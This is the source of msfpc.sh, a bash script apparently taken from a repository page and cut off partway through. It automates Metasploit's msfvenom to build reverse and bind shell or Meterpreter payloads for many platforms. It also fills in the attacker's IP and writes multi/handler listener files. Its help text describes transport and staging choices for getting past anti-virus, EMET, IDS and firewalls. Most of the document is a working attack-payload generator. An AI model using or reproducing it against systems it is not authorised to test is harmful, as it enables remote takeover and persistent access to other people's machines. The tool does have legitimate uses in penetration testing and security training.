You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

880 lines
43 KiB

#!/bin/bash
#-Metadata----------------------------------------------------#
# Filename: msfpc.sh (v1.4.5) (Update: 2019-02-18) #
#-Info--------------------------------------------------------#
# Quickly generate Metasploit payloads using msfvenom. #
#-Author(s)---------------------------------------------------#
# g0tmilk ~ https://blog.g0tmi1k.com/ #
#-Operating System--------------------------------------------#
# Designed for & tested on: Kali Rolling & Metasploit v4.11+ #
# Reported working: OSX 10.11+ & Kali Linux 1.x/2.x #
#-Licence-----------------------------------------------------#
# MIT License ~ http://opensource.org/licenses/MIT #
#-Notes-------------------------------------------------------#
# Requires: #
# Metasploit Framework v4.11.3-2015062101 or higher #
# --- #
# Useful Manual Commands: #
# msfvenom --list payloads #
# msfvenom --list encoders #
# msfvenom --help-formats #
# --- #
# Reminder about payload names: #
# shell_bind_tcp - Single / Inline / NonStaged / Stageless #
# shell/bind_tcp - Staged (Requires Metasploit) #
#-Known Bugs--------------------------------------------------#
# [BATCH/LOOP] The script must have the executable flag set #
# [BATCH] Will not generate DLL files #
#-------------------------------------------------------------#
#--Quick Install----------------------------------------------#
# curl -k -L "https://raw.githubusercontent.com/g0tmi1k/msfpc/master/msfpc.sh" > /usr/bin/msfpc; chmod +x /usr/bin/msfpc
#-------------------------------------------------------------#
#-More information--------------------------------------------#
# - https://www.offensive-security.com/metasploit-unleashed/payloads/
# - https://www.offensive-security.com/metasploit-unleashed/payload-types/
# - https://www.offensive-security.com/metasploit-unleashed/msfvenom/
# - https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads
# - https://community.rapid7.com/community/metasploit/blog/2011/05/24/introducing-msfvenom
# - https://community.rapid7.com/community/metasploit/blog/2014/12/09/good-bye-msfpayload-and-msfencode
# - https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom
#-------------------------------------------------------------#
#-Defaults----------------------------------------------------#
##### Variables
OUTPATH="$( pwd )/" # Others: ./ /tmp/ /var/www/
##### (Cosmetic) Colour output
RED="\033[01;31m" # Issues/Errors
GREEN="\033[01;32m" # Success/Asking for Input
YELLOW="\033[01;33m" # Warnings/Information
BLUE="\033[01;34m" # Heading
BOLD="\033[01;01m" # Highlight
RESET="\033[00m" # Normal
##### Read command line arguments
TYPE="" #"$( echo ${1} | \tr '[:upper:]' '[:lower:]' )" Defalut: *REQUIRED*
IP="" #"${2}" Defalut: *IP menu*
PORT="" #"${3}" Deafult: 443
SHELL="" # shell // meterpreter Default: meterpreter
DIRECTION="" # reverse // bind Default: reverse
STAGE="" # staged // stageless Default: stageless
METHOD="" # tcp // http // https // find_port Default: tcp
VERBOSE=false
##### Default values
SUCCESS=false # Did we successfully create a payload?
DOMAIN=false # IP address or domain name?
BATCH=false # Are we creating multiple payloads (one of each type) ?
LOOP=false # Are we creating multiple payloads (every possible combination)?
HELP=false # Display the help screen?
DARWIN=false # In case of OSX users
##### (Optional) Enable debug mode?
#set -x
#-Function----------------------------------------------------#
## doAction TYPE IP PORT PAYLOAD CMD FILEEXT SHELL DIRECTION STAGE METHOD VERBOSE
function doAction {
TYPE="${1}"
IP="${2}"
PORT="${3}"
PAYLOAD="${4}"
CMD="${5}"
FILEEXT="${6%-service}"
SHELL="${7}"
DIRECTION="${8}"
STAGE="${9}"
METHOD="${10}"
VERBOSE="${11}"
if [[ -z "${VERBOSE}" ]]; then
echo -e " ${YELLOW}[i]${RESET} ${RED}Something went wrong (Internally)${RESET}: doAction TYPE(${TYPE}) IP(${IP}) PORT(${PORT}) PAYLOAD(${PAYLOAD}) CMD(${CMD}) FILEEXT(${FILEEXT}) SHELL(${SHELL}) DIRECTION(${DIRECTION}) STAGE(${STAGE}) METHOD(${METHOD}) VERBOSE(${VERBOSE})" >&2
exit 2
fi
FILENAME="${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}.${FILEEXT}"
FILEHANDLE="${OUTPATH}${TYPE}-${SHELL}-${STAGE}-${DIRECTION}-${METHOD}-${PORT}-${FILEEXT}.rc"
X=" IP"
[[ "${DOMAIN}" == "true" ]] \
&& X='NAME'
[[ "${VERBOSE}" == "true" ]] \
&& PADDING=' '
echo -e " ${YELLOW}[i]${RESET}${PADDING} ${X}: ${YELLOW}${IP}${RESET}"
echo -e " ${YELLOW}[i]${RESET}${PADDING} PORT: ${YELLOW}${PORT}${RESET}"
echo -e " ${YELLOW}[i]${RESET}${PADDING} TYPE: ${YELLOW}${TYPE}${RESET} (${PAYLOAD})"
if [[ "${VERBOSE}" == "true" ]]; then
echo -e " ${YELLOW}[i]${RESET} SHELL: ${YELLOW}${SHELL}${RESET}"
echo -e " ${YELLOW}[i]${RESET} DIRECTION: ${YELLOW}${DIRECTION}${RESET}"
echo -e " ${YELLOW}[i]${RESET} STAGE: ${YELLOW}${STAGE}${RESET}"
echo -e " ${YELLOW}[i]${RESET} METHOD: ${YELLOW}${METHOD}${RESET}"
fi
echo -e " ${YELLOW}[i]${RESET}${PADDING} CMD: ${BOLD}${CMD}${RESET}"
echo ""
CMD=$( echo $CMD | sed 's/\\\\\n//g' )
[[ -e "${FILENAME}" ]] \
&& echo -e " ${YELLOW}[i]${RESET} File (${FILENAME}) ${YELLOW}already exists${RESET}. ${YELLOW}Overwriting...${RESET}" \
&& rm -f "${FILENAME}"
eval "${CMD}" 2>/tmp/msfpc.out
[[ ! -s "${FILENAME}" ]] \
&& rm -f "${FILENAME}"
if [[ -e "${FILENAME}" ]]; then
echo -e " ${YELLOW}[i]${RESET} ${TYPE} ${SHELL} created: '${YELLOW}${FILENAME}${RESET}'"
echo ""
\chmod +x "${FILENAME}"
else
echo ""
\grep -q 'Invalid Payload Selected' /tmp/msfpc.out 2>/dev/null
if [[ "$?" == '0' ]]; then
echo -e "\n ${YELLOW}[i]${RESET} ${RED}Invalid Payload Selected${RESET} (Metasploit doesn't support this) =(" >&2
\rm -f /tmp/msfpc.out
else
echo -e "\n ${YELLOW}[i]${RESET} Something went wrong. ${RED}Issue creating file${RESET} =(." >&2
echo -e "\n----------------------------------------------------------------------------------------"
[ -e "/usr/share/metasploit-framework/build_rev.txt" ] \
&& \cat /usr/share/metasploit-framework/build_rev.txt \
|| \msfconsole -v
\uname -a
echo -e "----------------------------------------------------------------------------------------${RED}"
\cat /tmp/msfpc.out
echo -e "${RESET}----------------------------------------------------------------------------------------\n"
fi
exit 2
fi
#\rm -f /tmp/msfpc.out
if [[ "${VERBOSE}" == "true" ]]; then
echo -e " ${YELLOW}[i]${RESET} File: $( \file -b ${FILENAME} )"
echo -e " ${YELLOW}[i]${RESET} Size: $( \du -h ${FILENAME} | \cut -f1 )"
echo -e " ${YELLOW}[i]${RESET} MD5: $( \openssl md5 ${FILENAME} | \awk '{print $2}' )"
echo -e " ${YELLOW}[i]${RESET} SHA1: $( \openssl sha1 ${FILENAME} | \awk '{print $2}' )"
echo -e ""
fi
HOST="LHOST"
[[ "${DIRECTION}" == "bind" ]] \
&& HOST="RHOST"
cat <<EOF > "${FILEHANDLE}"
#
# [Kali]: msfdb start; msfconsole -q -r '${FILEHANDLE}'
#
use exploit/multi/handler
set PAYLOAD ${PAYLOAD}
set ${HOST} ${IP}
set LPORT ${PORT}
set ExitOnSession false
set EnableStageEncoding true
#set AutoRunScript 'post/windows/manage/migrate'
run -j
EOF
echo -e " ${YELLOW}[i]${RESET} MSF handler file: '${FILEHANDLE}'"
echo -e " ${YELLOW}[i]${RESET} Run: msfconsole -q -r '${FILEHANDLE}'"
#echo -e " ${YELLOW}[i]${RESET} MSF command: msfconsole -x \"use exploit/multi/handler; \\\\\n set PAYLOAD ${PAYLOAD}; \\\\\n set ${HOST} ${IP}; \\\\\n set LPORT ${PORT}; \\\\\n set ExitOnSession false; \\\\\n run -j\""
SUCCESS=true
return
}
## doHelp
function doHelp {
echo -e "\n ${BLUE}${0}${RESET} <${BOLD}TYPE${RESET}> (<${BOLD}DOMAIN/IP${RESET}>) (<${BOLD}PORT${RESET}>) (<${BOLD}CMD/MSF${RESET}>) (<${BOLD}BIND/REVERSE${RESET}>) (<${BOLD}STAGED/STAGELESS${RESET}>) (<${BOLD}TCP/HTTP/HTTPS/FIND_PORT${RESET}>) (<${BOLD}BATCH/LOOP${RESET}>) (<${BOLD}VERBOSE${RESET}>)"
echo -e " Example: ${BLUE}${0} windows 192.168.1.10${RESET} # Windows & manual IP."
echo -e " ${BLUE}${0} elf bind eth0 4444${RESET} # Linux, eth0's IP & manual port."
echo -e " ${BLUE}${0} stageless cmd py https${RESET} # Python, stageless command prompt."
echo -e " ${BLUE}${0} verbose loop eth1${RESET} # A payload for every type, using eth1's IP."
echo -e " ${BLUE}${0} msf batch wan${RESET} # All possible Meterpreter payloads, using WAN IP."
echo -e " ${BLUE}${0} help verbose${RESET} # Help screen, with even more information."
echo ""
echo -e " <${BOLD}TYPE${RESET}>:"
echo -e " + ${YELLOW}APK${RESET}"
echo -e " + ${YELLOW}ASP${RESET}"
echo -e " + ${YELLOW}ASPX${RESET}"
echo -e " + ${YELLOW}Bash${RESET} [.${YELLOW}sh${RESET}]"
echo -e " + ${YELLOW}Java${RESET} [.${YELLOW}jsp${RESET}]"
echo -e " + ${YELLOW}Linux${RESET} [.${YELLOW}elf${RESET}]"
echo -e " + ${YELLOW}OSX${RESET} [.${YELLOW}macho${RESET}]"
echo -e " + ${YELLOW}Perl${RESET} [.${YELLOW}pl${RESET}]"
echo -e " + ${YELLOW}PHP${RESET}"
echo -e " + ${YELLOW}Powershell${RESET} [.${YELLOW}ps1${RESET}]"
echo -e " + ${YELLOW}Python${RESET} [.${YELLOW}py${RESET}]"
echo -e " + ${YELLOW}Tomcat${RESET} [.${YELLOW}war${RESET}]"
echo -e " + ${YELLOW}Windows${RESET} [.${YELLOW}exe${RESET} // .${YELLOW}exe${RESET} // .${YELLOW}dll${RESET}]"
echo ""
echo -e " Rather than putting <DOMAIN/IP>, you can do a interface and MSFPC will detect that IP address."
echo -e " Missing <DOMAIN/IP> will default to the IP menu."
echo ""
echo -e " Missing <PORT> will default to 443."
echo ""
echo -e " <CMD> is a standard/native command prompt/terminal to interactive with."
echo -e " <MSF> is a custom cross platform shell, gaining the full power of Metasploit."
echo -e " Missing <CMD/MSF> will default to <MSF> where possible."
if [[ "${VERBOSE}" == "true" ]]; then
echo -e " Note: Metasploit doesn't (yet!) support <CMD/MSF> for every <TYPE> format."
echo -e " <CMD> payloads are generally smaller than <MSF> and easier to bypass EMET. Limit Metasploit post modules/scripts support."
echo -e " <MSF> payloads are generally much larger than <CMD>, as it comes with more features."
fi
echo ""
echo -e " <BIND> opens a port on the target side, and the attacker connects to them. Commonly blocked with ingress firewalls rules on the target."
echo -e " <REVERSE> makes the target connect back to the attacker. The attacker needs an open port. Blocked with engress firewalls rules on the target."
echo -e " Missing <BIND/REVERSE> will default to <REVERSE>."
[[ "${VERBOSE}" == "true" ]] \
&& echo -e " <BIND> allows for the attacker to connect whenever they wish. <REVERSE> needs to the target to be repeatedly connecting back to permanent maintain access."
echo ""
echo -e " <STAGED> splits the payload into parts, making it smaller but dependent on Metasploit."
echo -e " <STAGELESS> is the complete standalone payload. More 'stable' than <STAGED>."
echo -e " Missing <STAGED/STAGELESS> will default to <STAGED> where possible."
if [[ "${VERBOSE}" == "true" ]]; then
echo -e " Note: Metasploit doesn't (yet!) support <STAGED/STAGELESS> for every <TYPE> format."
echo -e " <STAGED> are 'better' in low-bandwidth/high-latency environments."
echo -e " <STAGELESS> are seen as 'stealthier' when bypassing Anti-Virus protections. <STAGED> may work 'better' with IDS/IPS."
echo -e " More information: https://community.rapid7.com/community/metasploit/blog/2015/03/25/stageless-meterpreter-payloads"
echo -e " https://www.offensive-security.com/metasploit-unleashed/payload-types/"
echo -e " https://www.offensive-security.com/metasploit-unleashed/payloads/"
fi
echo ""
echo -e " <TCP> is the standard method to connecting back. This is the most compatible with TYPES as its RAW. Can be easily detected on IDSs."
echo -e " <HTTP> makes the communication appear to be HTTP traffic (unencrypted). Helpful for packet inspection, which limit port access on protocol - e.g. TCP 80."
echo -e " <HTTPS> makes the communication appear to be (encrypted) HTTP traffic using as SSL. Helpful for packet inspection, which limit port access on protocol - e.g. TCP 443."
echo -e " <FIND_PORT> will attempt every port on the target machine, to find a way out. Useful with stick ingress/engress firewall rules. Will switch to 'allports' based on <TYPE>."
echo -e " Missing <TCP/HTTP/HTTPS/FIND_PORT> will default to <TCP>."
if [[ "${VERBOSE}" == "true" ]]; then
echo -e " By altering the traffic, such as <HTTP> and even more <HTTPS>, it will slow down the communication & increase the payload size."
echo -e " More information: https://community.rapid7.com/community/metasploit/blog/2011/06/29/meterpreter-httphttps-communication"
fi
echo ""
echo -e " <BATCH> will generate as many combinations as possible: <TYPE>, <CMD + MSF>, <BIND + REVERSE>, <STAGED + STAGELESS> & <TCP + HTTP + HTTPS + FIND_PORT> "
echo -e " <LOOP> will just create one of each <TYPE>."
echo ""
echo -e " <VERBOSE> will display more information."
exit 1
}
#-Start-------------------------------------------------------#
## Banner
echo -e " ${BLUE}[*]${RESET} ${BLUE}MSF${RESET}venom ${BLUE}P${RESET}ayload ${BLUE}C${RESET}reator (${BLUE}MSFPC${RESET} v${BLUE}1.4.5${RESET})"
## Check system
## Are we using Linux or OSX?
if [[ "$( \uname )" != "Linux" ]] && [[ "$( \uname )" != "Darwin" ]]; then
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}You're not using Unix-like OS${RESET}" >&2
exit 3
elif [[ "$( \uname )" = "Darwin" ]]; then
DARWIN=true
fi
## msfvenom installed?
if [[ ! -n "$( \which msfvenom )" ]]; then
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't find msfvenom${RESET}" >&2
exit 3
fi
## cURL/wget installed?
if [[ -n "$( \which curl )" || -n "$( \which wget )" ]]; then
## Try and get external IP
WAN=""
[[ -n "$( \which curl )" ]] \
&& CMD="\curl -s --max-time 3" \
|| CMD="\wget -U 'curl' --connect-timeout 3 -qO-"
for url in 'http://ipinfo.io/ip' 'http://ifconfig.io/'; do
WAN=$( eval ${CMD} "${url}" )
[[ -n "${WAN}" ]] \
&& break
done
[[ "${VERBOSE}" == "true" && -z "${WAN}" ]] \
&& echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't get external WAN IP${RESET}" >&2
fi
## Is there a writeable path for us?
if [[ ! -d "${OUTPATH}" ]]; then
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Unable to use ${OUTPATH}${RESET}" >&2
exit 3
fi
## Get default values (before batch/loop)
[[ -z "${PORT}" ]] \
&& PORT="443"
## Get NIC information
if [[ "$DARWIN" = "true" ]]; then # OSX users
IFACE=( $( for IFACE in $( \ifconfig -l -u | \tr ' ' '\n' ); do if ( \ifconfig ${IFACE} | \grep inet 1>/dev/null ); then echo ${IFACE}; fi; done ) )
IPs=(); for (( i=0; i<${#IFACE[@]}; ++i )); do IPs+=( $( \ifconfig "${IFACE[${i}]}" | \grep 'inet ' | \grep -E '([[:digit:]]{1,2}.){4}' | \sed -e 's_[:|addr|inet]__g; s_^[ \t]*__' | \awk '{print $1}' ) ); done
else # nix users
IFACE=( $( \awk '/:/ {print $1}' /proc/net/dev | \sed 's_:__' ) )
IPs=(); for (( i=0; i<${#IFACE[@]}; ++i )); do IPs+=( $( \ip addr list "${IFACE[${i}]}" | \grep 'inet ' | \cut -d' ' -f6 | \cut -d '/' -f1 ) ); done
fi
## Define TYPEs/FORMATs
TYPEs=( apk asp aspx bash java linux osx perl php powershell python tomcat windows ) # Due to how its coded, this must always be a higher array count than ${FORMATs}
FORMATs=( sh jsp lin elf macho pl ps1 py war win exe exe-service dll )
## Check user input
## Able to detect NIC interfaces?
if [[ -z "${IFACE}" ]]; then
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't find any network interfaces${RESET}" >&2
echo -e " ${YELLOW}[i]${RESET} Need to manually define an IP. ${YELLOW}${0} --ip <IP>${RESET}" >&2
exit 2
fi
## Able to detect IP addresses?
if [[ -z "${IPs}" ]]; then
echo -e " ${YELLOW}[i]${RESET} Something went wrong. ${RED}Couldn't discover IP addresses${RESET}. =(" >&2
echo -e " ${YELLOW}[i]${RESET} Need to manually define it. ${YELLOW}${0} --ip <IP>${RESET}" >&2
exit 2
fi
## (!!!Magic Alert!!!) Try to predict what's what with inputs...
for x in $( \tr '[:upper:]' '[:lower:]' <<< "$@" ); do
if [[ "${x}" =~ ^--* ]]; then true # Long argument? (skip!)
elif [[ "${x}" == "list" || "${x}" == "ls" || "${x}" == "options" || "${x}" == "show" || "${x}" == "help" ]]; then HELP=true # List types? (aka help screen)
elif [[ "${x}" == "verbose" || "${x}" == "v" ]]; then VERBOSE=true # Verbose?
elif [[ "${x}" == "all" || "${x}" == "batch" || "${x}" == "a" ]]; then BATCH=true # Batch mode?
elif [[ "${x}" == "loop" || "${x}" == "l" ]]; then LOOP=true # Loop mode?
elif [[ "${x}" == "cmd" || "${x}" == "shell" || "${x}" == "normal" ]]; then SHELL="shell" # Shell?
elif [[ "${x}" == "meterpreter" || "${x}" == "msf" || "${x}" == "meterp" ]]; then SHELL="meterpreter" # Meterpreter?
elif [[ "${x}" == "bind" || "${x}" == "listen" ]]; then DIRECTION="bind" # Bind payload?
elif [[ "${x}" == "reverse" || "${x}" == "rev" ]]; then DIRECTION="reverse" # Reverse payload? (default)
elif [[ "${x}" == "staged" || "${x}" == "stager" || "${x}" == "stage" || "${x}" == "small" ]]; then STAGE=true # Staged?
elif [[ "${x}" == "stag"*"less" || "${x}" == "single" || "${x}" == "inline" || "${x}" == "no"* || "${x}" == "full" ]]; then STAGE=false # Stageless?
elif [[ "${x}" == "https" || "${x}" == "ssl" || "${x}" == "tls" ]]; then METHOD="https" # HTTPS payload?
elif [[ "${x}" == "http" || "${x}" == "www" ]]; then METHOD="http" # HTTP payload?
elif [[ "${x}" == "tcp" ]]; then METHOD="tcp" # TCP payload? (default)
elif [[ "${x}" == "find"* || "${x}" == "allport"* ]]; then METHOD="find_port" # Find_Port payload?
elif [[ "${x}" =~ ^-?[0-9]+$ && "${x}" -gt 1 && "${x}" -lt 65535 ]]; then PORT="${x}" # Port?
elif [[ "${x}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then IP="${x}" # IP?
elif [[ "${x}" == *.* ]]; then IP="${x}" # Domain/DNS? (weak detection & doesn't support hostname)
elif [[ "${x}" == "wan" && -n "${WAN}" ]]; then IP="${WAN}" # WAN interface?
else
known=false
for (( i=0; i<${#IFACE[@]}; ++i )); do [[ "${x}" == "${IFACE[${i}]}" ]] && IP="${IPs[${i}]}" && known=true && break; done # Interface? (rather than a an IP)
for (( i=0; i<${#TYPEs[@]}; ++i )); do [[ "${x}" == "${TYPEs[${i}]}" ]] && TYPE="${TYPEs[${i}]}" && known=true && break; done # Type?
for (( i=0; i<${#FORMATs[@]}; ++i )); do [[ "${x}" == "${FORMATs[${i}]}" ]] && TYPE="${FORMATs[${i}]}" && known=true && break; done # Type? (aka formats)
[[ "${known}" == false ]] \
&& echo -e " ${YELLOW}[i]${RESET} Unable to detect value: ${RED}${x}${RESET}" \
&& exit 1 # ...if we got this far, we failed. =(
fi
done
## If the user defined a value, overwrite it regardless
while [[ "${#}" -gt 0 && ."${1}" == .-* ]]; do
opt="${1}";
shift;
case "$( echo ${opt} | tr '[:upper:]' '[:lower:]' )" in
-|-- ) break 2;;
-p|--platform )
TYPE="${1}"; shift;;
--platform=* )
TYPE="${opt#*=}";;
-t|--type )
TYPE="${1}"; shift;;
--type=* )
TYPE="${opt#*=}";;
-i|--ip )
IP="${1}"; shift;;
--ip=* )
IP="${opt#*=}";;
-p|--port )
PORT="${1}"; shift;;
--port=* )
PORT="${opt#*=}";;
-m|--msf|--meterpreter )
SHELL="meterpreter";;
-c|--cmd|--shell )
SHELL="shell";;
--shell )
SHELL="${1}"; shift;;
--shell=* )
SHELL="${opt#*=}";;
-b|--bind|--listen )
DIRECTION="bind";;
-r|--rev|--reverse )
DIRECTION="reverse";;
--direction )
DIRECTION="${1}"; shift;;
--direction=* )
DIRECTION="${opt#*=}";;
-s|--staged|--stager )
STAGE=true;;
--stageless )
STAGE=false;;
--stage )
STAGE="${1}"; shift;;
--stage=* )
STAGE="${opt#*=}";;
-t|--tcp )
METHOD="tcp";;
--http|--www )
METHOD="http";;
--https|--ssl|--tls )
METHOD="https";;
-f|--find|--all|--find_port|--find-port|--findport|--allports|--all-ports|--all_ports )
METHOD="find_port";;
--method )
METHOD="${1}"; shift;;
--method=* )
METHOD="${opt#*=}";;
-a|--all|--batch )
BATCH=true;;
-l|--loop )
LOOP=true;;
-v|--verbose )
VERBOSE=true;;
-h|--help|-ls|--list|--options )
HELP=true;;
*) echo -e " ${YELLOW}[i]${RESET} Invalid option: ${RED}${x}${RESET}" && exit 1;;
esac
done
## Display help?
[[ "${HELP}" == true ]] \
&& doHelp
## Check input
if [[ "${SHELL}" == "shell" || "${SHELL}" == "cmd" || "${SHELL}" == "normal" ]]; then SHELL="shell"
elif [[ "${SHELL}" == "meterpreter" || "${SHELL}" == "msf" || "${SHELL}" == "meterp" ]]; then SHELL="meterpreter"; fi
#else SHELL="meterpreter"; fi # <--- cant due to batch mode (same with [[ -z "${SHELL}" ]])
if [[ "${DIRECTION}" == "reverse" || "${DIRECTION}" == "rev" ]]; then DIRECTION="reverse"
elif [[ "${DIRECTION}" == "bind" || "${DIRECTION}" == "listen" ]]; then DIRECTION="bind"; fi
if [[ "${STAGE}" == "true" || "${STAGE}" == "staged" || "${STAGE}" == "stager" || "${STAGE}" == "stage" || "${STAGE}" == "small" ]]; then STAGE='staged'; _STAGE='/'
elif [[ "${STAGE}" == "false" || "${STAGE}" == "stage"*"less" || "${STAGE}" == "single" || "${STAGE}" == "inline" || "${STAGE}" == "no"* || "${STAGE}" == "full" ]]; then STAGE='stageless'; _STAGE='_'; fi
if [[ "${METHOD}" == "tcp" ]]; then METHOD="tcp"
elif [[ "${METHOD}" == "http" || "${METHOD}" == "www" ]]; then METHOD="http"
elif [[ "${METHOD}" == "https" || "${METHOD}" == "tls" || "${METHOD}" == "ssl" ]]; then METHOD="https"
elif [[ "${METHOD}" == "find"* || "${METHOD}" == "all"* ]]; then METHOD="find_port"; fi
## Did user enter an interface instead of an IP address?
for (( x=0; x<${#IFACE[@]}; ++x )); do [[ "${IP}" == "${IFACE[${x}]}" ]] && IP=${IPs[${x}]} && break; done
## WAN interface?
if [[ -n "${WAN}" && "${IP}" == "${WAN}" ]]; then
[[ "${VERBOSE}" == "true" ]] \
&& echo -e " ${YELLOW}[i]${RESET} WAN IP: ${YELLOW}${WAN}${RESET} "
fi
## Valued entered for IP address? Is it a valid IPv4 address? Else assume its a domain...
if [[ "${IP}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]]; then
for (( i=1; i<${#BASH_REMATCH[@]}; ++i )); do
(( ${BASH_REMATCH[${i}]} <= 255 )) || { echo -e " ${YELLOW}[i]${RESET} IP (${IP}) appears to be a ${RED}invalid IPv4 address${RESET} =(" >&2 && exit 3; }
done
elif [[ -n "${IP}" ]]; then
echo -e " ${YELLOW}[i]${RESET} ${IP} isn't a IPv4 address. ${YELLOW}Assuming its a domain name${RESET}..."
DOMAIN=true
fi
## Valid port?
if [[ "${PORT}" -lt 1 || "${PORT}" -gt 65535 ]]; then
echo -e " ${YELLOW}[i]${RESET} PORT (${PORT}) is incorrect. Needs to be ${YELLOW}between 1-65535${RESET}" >&2
exit 3
fi
## IP menu
if [[ -n "${TYPE}" && -z "${IP}" ]]; then
echo -e "\n ${YELLOW}[i]${RESET} Use which ${BLUE}interface${RESET} - ${YELLOW}IP address${RESET}?:"
I=0
for iface in "${IFACE[@]}"; do
IPs[${I}]="$( \ifconfig "${iface}" | \grep 'inet ' | \grep -E '([[:digit:]]{1,2}.){4}' | \sed -e 's_[:|addr|inet]__g; s_^[ \t]*__' | \awk '{print $1}' )"
[[ -z "${IPs[${I}]}" ]] \
&& IPs[${I}]="$( \ifconfig "${iface}" | \grep 'inet addr:' | \cut -d':' -f2 | \cut -d' ' -f1 )"
[[ -z "${IPs[${I}]}" ]] \
&& IPs[${I}]="UNKNOWN"
echo -e " ${YELLOW}[i]${RESET} ${GREEN}$[${I}+1]${RESET}.) ${BLUE}${iface}${RESET} - ${YELLOW}${IPs[${I}]}${RESET}"
I=$[${I}+1]
done
[[ -n "${WAN}" ]] \
&& I=$[${I}+1] \
&& echo -e " ${YELLOW}[i]${RESET} ${GREEN}$[${I}]${RESET}.) ${BLUE}wan${RESET} - ${YELLOW}${WAN}${RESET}"
_IP=""
while [[ -z "${_IP}" ]]; do
echo -ne " ${YELLOW}[?]${RESET} Select ${GREEN}1-${I}${RESET}, ${BLUE}interface${RESET} or ${YELLOW}IP address${RESET}"; read -p ": " INPUT
for (( x=0; x<${I}; ++x )); do [[ "${INPUT}" == "${IFACE[${x}]}" ]] && _IP="${IPs[${x}]}"; done # Did user enter interface?
[[ -n "${WAN}" && "${INPUT}" == "${INPUT}" ]] && _IP="${WAN}" # Did user enter wan?
[[ "${INPUT}" != *"."* && "${INPUT}" -ge 1 && "${INPUT}" -le "${I}" ]] && _IP="${IPs[${INPUT}-1]}" # Did user select number?
#for ip in "${IPs[@]}"; do [[ "${INPUT}" == "${ip}" ]] && _IP="${ip}"; done # Did user enter a known IP?
[[ "${INPUT}" =~ ^([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})[.]([0-9]{1,3})$ ]] && _IP="${INPUT}" # Did the user enter a IP address (doesn't valid it)
IP="${_IP}"
done
echo ""
fi
## Generate #1 (Batch/Looping)
## Loop mode?
if [[ "${LOOP}" == "true" ]]; then
echo -e " ${YELLOW}[i]${RESET} Loop Mode. ${BOLD}Creating one of each TYPE${RESET}, with default values"
[[ "${VERBOSE}" == "true" ]] \
&& _VERBOSE="verbose"
for (( i=0; i<${#TYPEs[@]}; ++i )); do
echo "" # "${TYPEs[${i}]}" "${IP}" "${PORT}" "${_VERBOSE}"
eval "${0}" "${TYPEs[${i}]}" "${IP}" "${PORT}" "${_VERBOSE}" # chmod +x ${0}
echo ""
done # for TYPEs[@]
echo ""
eval "${0}" "dll" "${IP}" "${PORT}" "${_VERBOSE}" #... the odd one out!
echo ""
elif [[ "${BATCH}" == "true" ]]; then
echo -e " ${YELLOW}[i]${RESET} Batch Mode. ${BOLD}Creating as many different combinations as possible${RESET}"
[[ "${VERBOSE}" == "true" ]] \
&& _VERBOSE="verbose"
for (( i=0; i<${#TYPEs[@]}; ++i )); do
if [[ -z "${TYPE}" || "${TYPEs[${i}]}" == "${TYPE}" || "${FORMATs[${i}]}" == "${TYPE}" ]]; then
type="${TYPEs[${i}]}"
[[ -n "${TYPE}" && "${FORMATs[${i}]}" == "${TYPE}" ]] && type="${FORMATs[${i}]}"
for shell in "meterpreter" "shell"; do
if [[ -z "${SHELL}" || "${shell}" == "${SHELL}" ]]; then
for direction in "reverse" "bind"; do
if [[ -z "${DIRECTION}" || "${direction}" == "${DIRECTION}" ]]; then
for staged in "staged" "stageless"; do
if [[ -z "${STAGE}" || "${staged}" == "${STAGE}" ]]; then
for method in "tcp" "http" "https" "find_port"; do
if [[ -z "${METHOD}" || "${method}" == "${METHOD}" ]]; then
echo "" # "${type}" "${IP}" "${PORT}" "${direction}" "${staged}" "${method}" "${shell}" "${_VERBOSE}"
eval "${0}" "${type}" "${IP}" "${PORT}" "${direction}" "${staged}" "${method}" "${shell}" "${_VERBOSE}" # chmod +x ${0}
echo ""
fi # "${method}" == "${METHOD}"
done # for protocol
fi # "${staged}" == "${STAGE}"
done # for staged
fi # "${direction}" == "${DIRECTION}"
done # for direction
fi # "${shell}" == "${SHELL}"
done # for shell
echo -e "\n"
fi # "${TYPEs[${i}]}" == "${TYPE}"
done # for TYPEs[@]
fi
## Set default values (after batch/loop)
[[ -z "${METHOD}" ]] \
&& METHOD="tcp"
[[ -z "${DIRECTION}" ]] \
&& DIRECTION="reverse"
## Valid shell?
if [[ -n "${TYPE}" && "${SHELL}" != "shell" && "${SHELL}" != "meterpreter" && -n "${SHELL}" ]]; then
echo -e " ${YELLOW}[i]${RESET} SHELL (${SHELL}) is incorrect. Needs to be either ${YELLOW}shell${RESET} or ${YELLOW}meterpreter${RESET}" >&2
exit 3
fi
## Valid staged?
if [[ -n "${TYPE}" && "${STAGE}" != "staged" && "${STAGE}" != "stageless" && -n "${STAGE}" ]]; then
echo -e " ${YELLOW}[i]${RESET} STAGED (${STAGE}) is incorrect. Needs to be either ${YELLOW}staged${RESET} or ${YELLOW}stageless${RESET}" >&2
exit 3
elif [[ -n "${TYPE}" && "${_STAGE}" != "/" && "${_STAGE}" != "_" && -n "${STAGE}" ]]; then # "${STAGE}" != "" is correct
echo -e " ${YELLOW}[i]${RESET} ${RED}Something went wrong (Internally) with stage: ${_STAGE}.${RESET}"
exit 2
fi
## If its not reverse (bind), the only option is tcp (not http/https/find_ports)
if [[ "${DIRECTION}" != "reverse" && "${METHOD}" != "tcp" ]]; then
echo -e " ${YELLOW}[i]${RESET} Unable to use ${METHOD} with ${DIRECTION}. Please ${YELLOW}switch to reverse${RESET}" >&2
exit 3
fi
## Bind shell does not use LHOST
LHOST=""
[[ "${DIRECTION}" == "reverse" ]] \
&& LHOST="LHOST=${IP}"
## Generate #2 (Single Payload)
## APK
if [[ "${TYPE}" == "apk" ]]; then
[[ -z "${SHELL}" ]] \
&& SHELL="meterpreter"
[[ -z "${STAGE}" ]] \
